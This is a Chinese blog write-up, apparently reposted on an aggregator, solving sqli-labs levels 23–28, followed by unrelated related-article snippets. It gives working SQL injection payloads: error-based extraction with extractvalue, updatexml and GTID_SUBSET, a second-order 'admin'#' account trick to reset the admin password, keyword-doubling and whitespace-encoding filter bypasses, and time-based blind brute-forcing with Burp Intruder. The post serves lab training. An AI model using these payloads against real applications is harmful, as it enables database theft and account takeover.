SQL注入【sqli靶場第23-28關】(七)

★★免責聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將信息做其他用途,由Ta承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。

0、總體思路

先確認是否可以SQL注入,使用單雙引號,1/0,括號測試 ’ " 1/0 ),頁面顯示不同內容或響應長度來確定。存在SQL注入后則開始構造輪子進行驗證,猜出數據庫,用戶名,表名,字段名,有沒有文件漏洞等。

為方便驗證提交攔截到BP,右擊到Repeater修改參數值進行驗證看響應內容。

特殊字符說明

+表示空格
--表示注釋

1、Less-23

GET - Error based - strip comments

1.1、判斷是否存在SQL注入

正常響應長度

在這里插入圖片描述

輸入帶單引號’,響 應長度有變化

在這里插入圖片描述

1.2、報錯函數

在測試過程中發現union 聯合查詢的方式一直報錯,嘗試報錯函數成功爆出。

報錯函數extractvalue,0x7e是~的ASCII碼,字符型后面有加單引號,數字型沒有,根據報錯函數獲取到數據庫名,登錄名。

# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1# 輸出內容
XPATH syntax error: '~security~'# 輸入內容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1# 輸出內容
XPATH syntax error: '~root@localhost~'

2、Less-24

POST-Second order lnjections Real treat - stored lnjections

二次注入,先注冊一個賬號帶有注釋功能的,然后登錄,再修改密碼

2.1、注冊帶注釋功能的賬號

賬號:admin'#
密碼:123456

2.2、用新賬號登錄

用新賬號登錄成功
在這里插入圖片描述

2.3、修改密碼

修改目標密碼為123,用賬號:admin,密碼:123登錄驗證是否成功。
在這里插入圖片描述在這里插入圖片描述在這里插入圖片描述

3、Less-25

GET - Error based - All your OR & AND belong to us -string single quote

3.1、判斷是否存在SQL注入

正常響應長度
在這里插入圖片描述

輸入帶單引號’,響 應長度有變化
在這里插入圖片描述

3.2、報錯函數

在測試過程中發現union 聯合查詢的方式沒有達到預期值,嘗試報錯函數成功爆出。

報錯函數extractvalue(),updatexml()沒有達到預期值,GTID_SUBSET()成功爆出。

# 輸入內容
'-GTID_SUBSET(database(),1)-'# 輸出內容
Malformed GTID set specification 'security'.# 輸入內容
'-GTID_SUBSET(user(),1)-'# 輸出內容
Malformed GTID set specification 'root@localhost'.

在這里插入圖片描述

4、Less-25a

GET - Blind Based - All your OR & AND belong to us- lntiger based

4.1、判斷是否存在SQL注入

正常響應長度
在這里插入圖片描述

輸入帶單引號’,響應長度有變化
在這里插入圖片描述

4.2、借用BP爆破數據庫

過濾 or and 關鍵字 采用重復的方式處理

oorr --> or
anandd --> and

4.2.1、使用時間盲注驗證
# 輸入內容
+anandd+if(1=1,sleep(1),sleep(5))--+

在這里插入圖片描述

4.2.2、爆破數據庫長度
# 輸入內容
+anandd+if(length(database())=5,1,0)--+

在Repeater右擊發送到Intruder,先清除默認的標志位,自己定位到數字5,這個值任意填寫的。Attack Type選擇:Cluster bomb,參數設置看截圖說明。
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

4.2.3、爆破數據庫名
# 輸入內容
+anandd+if(substr(database(),1,1)='a',1,0)--+

爆破參數設置看截圖說明,需要2個參數,第一個是截取的數據庫對應的字段索引,第二個是匹配的內容。
在這里插入圖片描述

5、Less-26

GET - Error based - All your SPACEs and COMMENTS belong to us

參考博客:https://blog.csdn.net/m0_71299382/article/details/127944148

5.1、判斷是否存在SQL注入

正常響應長度
在這里插入圖片描述

輸入帶單引號’,響 應長度有變化
在這里插入圖片描述

5.2、關聯查詢

回顯位在第2位

# 輸入內容-數據庫名
0'%0bunion%0bselect%0b1,database(),3||'1'='1# 輸入內容-登錄名
0'%0bunion%0bselect%0b1,user(),3||'1'='1

在這里插入圖片描述

6、Less-27

GET - Error Based-All your UNION & SELECT Belong to us - String - single quote

參考:https://blog.csdn.net/qq_73393033/article/details/132106554

6.1、判斷是否存在SQL注入

正常響應長度
在這里插入圖片描述

輸入帶單引號’,響 應長度有變化
在這里插入圖片描述

6.2、報錯函數

%26是&的URL編碼

# 輸入內容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1# 輸出內容
XPATH syntax error: '~security~root@localhost'# 輸入內容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1# 輸出內容
XPATH syntax error: '~security~'

在這里插入圖片描述

7、Less-28

GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis

參考:https://blog.csdn.net/m0_57736664/article/details/128553406

7.1、判斷是否存在SQL注入

正常響應長度
在這里插入圖片描述

輸入帶單引號’,響 應長度有變化
在這里插入圖片描述

7.2、確定回顯字段

看源碼參數閉合是'),嘗試驗證是不是4個字段,沒有回顯,修改為了3時回顯了,因此可確定是3個字段

# 輸入內容
')order%0Aby%0A4;%00# 頁面沒有預期回顯數據# 修改為3
')order%0Aby%0A3;%00

在這里插入圖片描述

7.3、關聯查詢

回顯位在第2位

# 輸入內容-數據庫
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1# 輸入內容-登錄名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1

在這里插入圖片描述

8、下期內容預告

截止到目前SQL注入的內容已經分享了7篇,后面會有一篇關于ByPass(繞過)和總結的內容。敬請關注我的公眾號:大象只為你,持續更新中…

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/455684.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/455684.shtml
英文地址,請注明出處:http://en.pswp.cn/news/455684.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linq中string轉int的方法

Linq中string轉int的方法 在做批量刪除時,需把一串id值所對應的數據刪除,調試出現問題: Linq語句中如果使用ToString()進行類型轉換,編譯時不會報錯,但執行時會出現如下錯誤: “LINQ to Entities 不識別方法"System.String T…

名稱縮寫第二波

1 公司內部 縮寫 全稱 中文 說明 PMproduct manager產品經理RDResearch and Development研發工程師FEFrontend Engineer前端工程師UEUser Experience用戶體驗設計師QAquality assurance質量保證,測試OP operator 運維工程師EEEngeering Excellence工程效率部ETEn…

php動態獲取函數參數

PHP 在用戶自定義函數中支持可變數量的參數列表。其實很簡單,只需使用func_num_args() , func_get_arg() ,和 func_get_args() 函數即可。可變參數并不需要特別的語法,參數列表仍按函數定義的方式傳遞給函數,并按通常…

漏桶算法與令牌桶算法

漏桶算法(Leaky Bucket)是網絡世界中流量整形(Traffic Shaping)或速率限制(Rate Limiting)時經常使用的一種算法,它的主要目的是控制數據注入到網絡的速率,平滑網絡上的突發流量。漏桶算法提供了一種機制&a…

java linux 調用32位so_Linux上TCP的幾個內核參數調優

Linux作為一個強大的操作系統,提供了一系列內核參數供我們進行調優。光TCP的調優參數就有50多個。在和線上問題斗智斗勇的過程中,筆者積累了一些在內網環境應該進行調優的參數。在此分享出來,希望對大家有所幫助。調優清單好了,在…

jquery中的選擇器

jquery選擇器 jquery用法思想 選擇某個網頁元素,然后對它進行某種操作 jquery選擇器 jquery選擇器可以快速地選擇元素,選擇規則和css樣式相同 基礎選擇器 //通過id來獲取元素 document.getElementById(); // $(#logo).css(border,solid 2px red); //…

【好文收藏】【持續更新】今天你機器學習了嗎

?數學建模常用模型23:馬爾可夫預測方法_HaLosec_Wei-CSDN博客_馬爾可夫模型預測法 ?simhash算法及原理簡介_lengye7的博客-CSDN博客_simhash ?👍使用機器學習構建簡單金融風控反欺詐模型(一)EDAXGBOOST - 知乎 Python機器學…

H.264碼率控制機制

H.264標準碼率控制算法步驟如下:1.計算當前幀的目標碼字,并將其限定到HRD的邊界中。2.通過線性模型(式4.5)預測當前幀中基本單元的MAD。 3.為未編碼基本單元分配碼字。4.通過二次R&a…

[dp]最長單調遞增子序列LIS

https://www.51nod.com/tutorial/course.html#!courseId12 解題關鍵: 如果將子序列按照長度由短到長排列,將他們的最大元素放在一起,形成新序列$B\left\{ {{b_1},{b_2}, \ldots \ldots ,{b_j}} \right\}$,則序列$B$滿足${b_1} &l…

jQuery中的元素操作

jQuery元素操作 通過jQuery可以操作控制元素的樣式,文本,屬性等 jquery樣式操作 css操作行內樣式 // 獲取div的樣式 $("div").css("width"); $("div").css("color");//設置div的樣式 $("div").css("width",&q…

指針結構體函數-事實上能夠這樣具體理解

今天一大早登了下QQ空間,看到本科的一個學弟發表一篇日志。寫關于西電微軟俱樂部面試題的解答,寫的非常不 錯。我也一下子起興了,由于我以前也是被指針困惑非常久。搞不清頭緒,本科到研究生。我也筆試面試不下二十次 了。每次面試…

【python畢業設計】Django框架實現學生信息管理系統

Django框架實現學生信息管理系統 演示視頻:Django學生信息管理系統_騰訊視頻 演示界面內容如下 總體概括 注冊流程 首先進行輸入用戶名(郵箱)、密碼以及驗證碼,輸入完之后點擊注冊按鈕。如果輸入的不正確,提示錯誤信…

python中continue只結束本次循環_循環(while,break,continue),轉義字符

Apple iPhone 11 (A2223) 128GB 黑色 移動聯通電信4G手機 雙卡雙待 4999元包郵 去購買 >01. 程序的三大流程 在程序開發中,一共有三種流程方式: 順序 —— 從上向下,順序執行代碼 分支 —— 根據條件判斷,決定執行代碼的 分支 …

碼率控制技術原理

引起編碼器的輸出比特碼率波動的原因主要有兩個。首先,數字視頻信號中包含了大量的時域和空域冗余,編碼器的主要任務就是去除這些冗余。由于時間冗余和空間冗余是隨機的,從而造成編碼器輸出比特率波動。另一個原因是變長編碼,變長…

python如何安裝pip

pip的安裝操作 pip簡介 pip 是一個現代的,通用的 Python 包管理工具。提供了對Python 包的查找、下載、安裝、卸載的功能。 環境搭建 安裝pip首先要安裝python,可以參考python安裝教程 安裝完python后,可以在cmd中輸入pip list 測試一下pip是否默認附帶著安裝,若…

【排序算法】python 十大經典排序算法(全網最詳)

排序算法可以分為內部排序和外部排序,內部排序是數據記錄在內存中進行排序,而外部排序是因排序的數據很大,一次不能容納全部的排序記錄,在排序過程中需要訪問外存。常見的內部排序算法有:插入排序、希爾排序、選擇排序…

最新海康攝像機、NVR、流媒體服務器、回放取流RTSP地址規則說明

本文檔主要介紹海康威視設備預覽、回放、流媒體取流的RTSP URL和IE直接預覽、回放的HTTP URL。RTSP為取流協議,取到碼流后需要解碼顯示,可以通過VLC播放器進行測試,IE等瀏覽器網頁不支持RTSP協議直接取流預覽或者回放。網頁上需要跳過登錄界面…

pug模板引擎(原jade)

前面的話 為什么要引入pug,pug有什么特別之處呢?有一些嵌套層次較深的頁面,可能會出現巢狀嵌套,如下圖所示 在后期維護和修改時,一不小心少了一個尖括號,或者某個標簽的開始和閉合沒有對應上,就…

python安裝環境傻瓜式安裝_前后端分離——前端開發環境傻瓜式一步到位 nodejs ruby python nginx 安裝搭建配置...

前端開發環境一步到位 一、準備工作 nodejs安裝 安裝:next->next.... Ruby安裝 安裝:next->next.... 需要配置到path:將安裝目錄復制到環境變量中,跟jdk環境變量配置一樣。 注意下一步:Python安裝 安裝&#xff…

【Python】Python學到什么程度可以面試工作?------持續更新 ...

前言: 從事python學習,有爬蟲、web后臺、深度學習相關經驗, 坐標北京歡迎騷擾。 本答案力求簡潔和直擊重點,代碼部分使用Python3,更詳細的解釋請Google,回答有誤請務必提醒答主,我將及時改正。…